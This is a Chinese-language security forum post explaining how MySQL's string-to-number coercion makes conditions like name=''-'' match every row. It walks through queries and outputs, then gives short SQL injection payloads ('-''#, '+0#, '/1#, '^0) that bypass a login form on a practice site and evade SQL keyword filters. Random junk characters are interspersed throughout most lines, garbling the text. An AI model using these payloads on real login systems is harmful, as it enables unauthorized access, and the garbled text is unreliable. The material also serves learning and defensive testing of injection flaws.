找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1934|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。
9 i! m- S- H( D$ Y" c有以下表结构: % I7 m. g, w, s' c$ s
. @% F6 _) {4 `  z. j/ c6 S9 W& r
mysql> desc admin;$ [. h( B1 k* [+ Q" C& d0 _) U
+----------+--------------+------+-----+---------+----------------+
' }" a. L) i( r+ x" J/ U# {| Field    | Type         | Null | Key | Default | Extra          |
# k) G  ^) Q* j. c+----------+--------------+------+-----+---------+----------------+* H! G; Z0 T& Z: |" d
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |- v% W# e* D% j& Z0 M3 r+ `
| name     | char(32)     | NO   | UNI | NULL    |                |
3 e0 m9 P: h  \  b| password | char(32)     | NO   | UNI | NULL    |                |0 @' t, z; F% j; r  t( v
+----------+--------------+------+-----+---------+----------------+# e- Y" g/ S) r1 z+ s
3 rows in set (0.00 sec)
! w1 c& b) b/ `" H' j% t执行select * from admin;,成功返回所有记录内容。
& P; k; M# Z' m# ?6 y) y) L: q( h4 p7 T

2 L7 v' U. G$ a% {7 `, Z0 m( @+----+--------+----------------------------------+) U) w: _6 T2 A1 M
| id | name   | password                         |1 s3 l* `* Q4 I  h
+----+--------+----------------------------------+9 J3 \' {9 o$ O) O  i
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |: |6 }0 S+ _* D+ n$ ~- V; m
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
+ o3 N6 M( c* q' ?8 b|  4 | n00b   | ff80e8508d39047460921792273533a4 |
' L! K$ c, ]8 \, y6 w+ l, Y+----+--------+----------------------------------+- {$ v6 V' d% Y8 ?- B7 [
3 rows in set (0.00 sec)
2 S  B4 f0 N9 `( \0 v执行select * from admin where name=”;,没有匹配到任何记录。
" K& I& E/ v8 |( l- R, z7 D) Y
mysql> select * from admin where name = '';% a% b" [0 l9 g$ v" b
Empty set (0.00 sec)" h# N1 d% F2 c: e/ S9 {. Z
那么我们来执行select * from admin where name = ”-”;
- Y8 {4 R# a8 y) o0 U0 ]& q4 H, `* z8 ]* r  [1 m
3 v# F( ~) x# ?- b1 S; j3 a
+----+--------+----------------------------------+
( m+ G. f. E+ T; q( M| id | name   | password                         |
% x! U) M1 s8 ?+----+--------+----------------------------------+  j& ]2 ]- W0 f# \) D) `, L4 H6 |
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
; b8 [4 I! X4 K0 j' M1 W2 X  I|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |% @* X# F3 l5 \# @' r, y8 F* Q
|  4 | n00b   | ff80e8508d39047460921792273533a4 |2 ]$ X- H  l) ^2 O
+----+--------+----------------------------------+( t9 B: U( U7 ?6 `; a  u. r( I
3 rows in set, 3 warnings (0.00 sec)
, ?0 k" U  a* t- d1 ^" c8 O; ~可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
" f3 S8 ^+ i1 D; x
2 g4 P. }' l: bmysql> show warnings;  J. y! L1 T" {( x6 G
+---------+------+------------------------------------------
- B* s+ o" m0 F" S| Level   | Code | Message, ]$ ~+ H4 k/ d8 h: M1 }! P4 f
+---------+------+------------------------------------------+ E) m; U8 w8 A- e
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin& l, @2 e, K  ~* J0 a
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
3 c  x  e! n* N- E* ~7 [| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b1 R) A7 R* t9 ]5 W+ W& [7 i. D
+---------+------+------------------------------------------# c0 E  \- d" H& r8 }1 J' h
3 rows in set (0.00 sec)6 l( p+ Y( i6 q, n
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 $ {: Y" }' I* N- G! C" u, Y
% {1 g/ E3 z/ S1 R2 Z
mysql> select ''-'';4 c1 ~7 g3 A6 K. G: v
+-------+# F) L  O0 L) ^* P) m- r
| ''-'' |( l0 S; E0 m( J
+-------+
& B+ o; r% q' f) A  X|     0 |2 b7 Q" L9 P3 D. v' k; ~/ ?  ]8 C+ y
+-------+3 x. N2 ?6 x; R" F9 Q3 D; }) h
1 row in set (0.00 sec)/ s- e0 c+ e: B; G
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: 5 d: ^) U+ }1 F* i

8 @6 F& B- |2 Z" q( vmysql> select CAST((select name from admin limit 1,1) as DECIMAL);
$ i# q9 _; J6 Z+-----------------------------------------------------+
1 R2 |: A0 S$ g' b# y, Y( m| CAST((select name from admin limit 1,1) as DECIMAL) |7 T& a) l+ E* D- q; w# P
+-----------------------------------------------------+
+ X) I# m/ F9 z8 g. n|                                                   0 |5 ?: S2 q; T+ J* u: h9 @
+-----------------------------------------------------+4 Q8 B, K. n6 p; g
1 row in set, 1 warning (0.00 sec)
+ j3 l5 j3 S2 C9 i* G- j1 _因此where语句构成了相等的条件,where 0=”=”,记录被返回。
( R! F- T2 H! J$ m) T/ U2 X/ c* d+ i6 |! `
SQL注入场景: http://www.sqlzoo.net/hack/ . H% ~$ |7 E3 ^# w" h: ^
+ U2 C3 U  K; U, X
7 t2 ~2 ^8 H7 _) E+ n
2 O+ I: V/ s6 N# ^% B. f/ t" z8 Z
) f( v  U; A9 U" O. I' I: Q
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
% Y8 `1 J. V# I) ?& G, ?* Z$ |; o# O) h3 t" J6 p
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
( N4 B. d; }: V6 e
& S$ @" \. P6 S+ E5 J
5 E- I  H! p% E  _: m) z$ W
$ _: F. v4 ]$ N, ~7 p, k  {6 [7 O2 v/ I2 R9 {
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
  o& r; s6 l) a/ R, A0 O! X$ E# d
! a( Z3 d- i! n3 m8 _/ L   ; C$ m' x% f: L& d* w
; O# L6 h- ~7 c6 S' _, z
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可& u% h, @, s8 C0 ?8 s

% w. D% \- B5 }) d4 r3 ]2 P& b* Y8 o6 l% R% m4 G/ i
mysql> select ''/1;' }+ L! g2 \& ~% j) }
+------+9 W* J- L* x; `& e4 g) h
| ''/1 |9 V2 B6 g* v0 R
+------+
5 P# ^9 x! H) Z4 I8 [) }+ V2 R# M|    0 |6 ]4 {2 V0 C0 @. u+ r6 v
+------+
" h* A/ }6 u4 P' J. H; e+ [1 row in set (0.00 sec)
# K1 e7 g0 @; U/ H6 a类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
# N+ c8 a* h/ e$ |
0 b& A; B- u8 w2 c+ I, r利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
) f/ d. u! v8 Z- ?, w1 V0 U/ W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表